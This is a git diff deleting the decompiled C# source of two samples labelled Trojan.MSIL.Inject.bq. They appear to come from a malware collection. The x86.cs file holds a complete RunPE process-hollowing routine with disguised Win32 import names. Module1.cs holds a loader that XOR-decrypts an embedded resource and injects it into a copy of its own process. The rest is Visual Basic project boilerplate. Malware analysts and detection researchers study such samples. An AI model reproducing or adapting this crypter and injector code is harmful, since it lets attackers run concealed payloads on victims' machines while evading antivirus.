b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 29f65d2c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.csproj", "{DB0F9657-D1CA-4DA3-A976-572DE02B9852}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Debug|Any CPU.Build.0 = Debug|Any CPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Release|Any CPU.ActiveCfg = Release|Any CPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs deleted file mode 100644 index c8061a2b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.Inventiondumem((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.f564gs(pInfo[1], ctxt) && x86.Win32.fzezf(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.f564gsf(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.tobe(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.hhh(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.hhh(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.biatch(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.hhh(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.suce(pInfo[1], ctxt); - } - x86.Win32.pute(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool Inventiondumem( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool f564gs(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint f564gsf(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool fzezf( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int pute(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool suce(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr tobe( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool biatch( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool hhh( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs deleted file mode 100644 index a15645df..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs deleted file mode 100644 index 06366753..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs deleted file mode 100644 index db026f5f..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs deleted file mode 100644 index 51ff591c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs deleted file mode 100644 index acbcc601..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs deleted file mode 100644 index 67e47e6c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs deleted file mode 100644 index 05747352..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index e49f41ea..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index b79dad0b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.csproj", "{A5CB47C3-499A-4FEA-80C9-CB34378096CB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection 